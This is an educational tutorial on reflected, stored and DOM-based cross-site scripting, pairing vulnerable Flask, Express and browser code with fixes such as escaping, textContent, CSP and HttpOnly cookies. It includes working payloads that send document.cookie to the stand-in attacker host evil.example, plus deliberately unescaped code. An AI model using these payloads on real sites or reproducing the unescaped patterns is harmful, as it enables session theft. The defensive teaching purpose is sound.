Reflected XSS: the payload comes from the URL
Injection, the whole subject of the last article, is about tricking a server into running instructions it shouldn't. Cross-site scripting flips that around. The server does exactly what it was told. The payload runs somewhere else entirely: in another user's browser, under that user's session, with that user's cookies.
The simplest version starts with a search box that echoes your query back to you. That part is normal. The bug is in how it echoes it back.
A search results page
1@app.route("/search")2def search():3 query = request.args.get("q", "")4 return f"<h1>Results for: {query}</h1>"
Nothing here looks dangerous if you only ever test it with real search terms. Try a different kind of query.
A link, not a form submission, just a URL someone could click
1/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
The server drops that string straight into the page, unexamined: <h1>Results for: <script>...</script></h1>. Any browser that loads this page runs the script tag like it runs any other script tag on the page, because as far as the browser is concerned, that's exactly what it is. It sends the visitor's cookies to a server the attacker controls.
This is called reflected XSS because the payload never gets stored anywhere. It arrives in one request and leaves in that same response. The attacker doesn't need to compromise your database, just get one person to click one link, usually via a phishing email or a shortened URL that hides where it actually points.
Fixed: escape on the way out
1from markupsafe import escape23@app.route("/search")4def search():5 query = request.args.get("q", "")6 return f"<h1>Results for: {escape(query)}</h1>"
escape() turns < into < and > into >, so the browser displays the literal text of the script tag instead of parsing it as one. Most template engines, Jinja2, Handlebars, ERB, escape output like this by default. The vulnerability tends to show up specifically where someone opted out of that default: an f-string instead of a template, a |safe filter, a triple-mustache tag.
Stored XSS: the payload comes from your database
Same bug, worse blast radius. Instead of round-tripping through one URL, the payload gets saved, and then served back to whoever visits the page next. No phishing link required.
A comments feature
1app.post("/comments", (req, res) => {2 comments.push({ author: req.body.author, body: req.body.body });3 res.redirect("/post");4});56// rendered later, for every visitor to this page7html += `<div class="comment">${comment.body}</div>`;
A comment body of <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)"> doesn't even need a <script> tag. The browser tries to load an image from a source that doesn't exist, fails, and runs the onerror handler as JavaScript. It always fails, because x was never a real image path to begin with.
This version doesn't need to trick anyone into clicking anything. Every single visitor who loads the post runs it, including whichever moderator or admin opens the page to review it, and admin sessions are usually the more valuable target.
Fixed: escape at render time, not at save time
1function escapeHtml(str) {2 return str.replace(/[&<>"']/g, (c) => ({3 "&": "&", "<": "<", ">": ">", '"': """, "'": "'",4 }[c]));5}67html += `<div class="comment">${escapeHtml(comment.body)}</div>`;
Store the comment as plain text, exactly as the user typed it, and escape it wherever it eventually gets rendered. That's the more resilient order of operations. The same stored value might end up rendered into an HTML page, embedded in a JSON API response, or dropped into an email digest, and each of those contexts has different escaping rules. Trying to sanitize once at save time bakes in an assumption about where the data will land that won't always hold.
DOM-based XSS: no server involved at all
Reflected and stored XSS both involve the server rendering something it shouldn't. DOM-based XSS doesn't need the server to do anything wrong, because the server is never even in the loop. The bug lives entirely in client-side JavaScript that reads something from the page's own URL and writes it straight into the DOM.
A client-side welcome message
1const params = new URLSearchParams(location.search);2document.getElementById("welcome").innerHTML = "Welcome, " + params.get("name");
Load this page with ?name=<img src=x onerror=alert(document.cookie)> in the URL and the browser never sends that value to any backend at all. It stays in the browser, gets read straight out of location.search, and lands in innerHTML, which parses whatever string it's given as HTML and executes anything in it that looks like a script.
Fixed: textContent, not innerHTML
1document.getElementById("welcome").textContent = "Welcome, " + params.get("name");
textContent never parses its argument as HTML. The browser displays <img src=x onerror=...> as visible, literal, slightly ugly text on the page. Nothing runs.
Frameworks put a name on the exit
React escapes anything you interpolate directly into JSX. Rendering <div>{comment.body}</div> is safe by default, the same way a modern template engine's {{ }} is safe by default. The only way to get raw, unescaped HTML injection in a React app is to explicitly ask for it.
Exactly what the prop name is warning you about
1<div dangerouslySetInnerHTML={{ __html: comment.body }} />
Vue has the same escape hatch in v-html next to its safe {{ }} interpolation, and Angular has it in [innerHTML]. Every framework built after XSS became a known problem ships a safe default and makes you opt out of it by name. If you find one of these in a codebase, the question isn't whether it's dangerous. It's whether the value it's rendering ever passes through user input on its way there.
Output encoding, CSP, and HttpOnly cookies
Escaping isn't one universal function you call and forget about. The correct escaping depends on where the value actually lands. A value dropped into the body of the page needs < > & " ' escaped. A value dropped inside an HTML attribute, inside a <script> block, or inside a URL each need different rules, and using the HTML-body rules in one of those other contexts can reopen the exact hole you thought you'd closed. A real templating engine tracks the context for you. Hand-rolled string building generally doesn't, which is one more reason to prefer the framework's default over writing your own.
Content Security Policy: a backstop for when escaping fails
Escaping is the primary defense. CSP is what catches it when escaping fails somewhere you didn't expect.
A response header
1Content-Security-Policy: default-src 'self'; script-src 'self'
This tells the browser, not your server, to refuse to run inline <script> tags and to refuse to load scripts from any origin other than your own. If a payload does slip past your escaping and lands in the page, the browser that renders it simply won't execute it. It's not a substitute for fixing the escaping bug, it's insurance for the one you haven't found yet.
HttpOnly cookies: limiting what a successful XSS can actually take
A session cookie, set correctly
1Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
HttpOnly means document.cookie can't read this cookie from JavaScript at all, not even from a script an attacker successfully injected. It doesn't stop the XSS from running. A payload can still deface the page, log keystrokes on a form, or send requests as the logged-in user through the browser's own session. What it can't do is grab the session token and hand it straight to a server the attacker controls, which is the single most common thing an XSS payload is written to do. Every layer here is doing a different job: escaping stops the injection, CSP stops what escaping misses, HttpOnly limits the payoff when both of those somehow fail at once.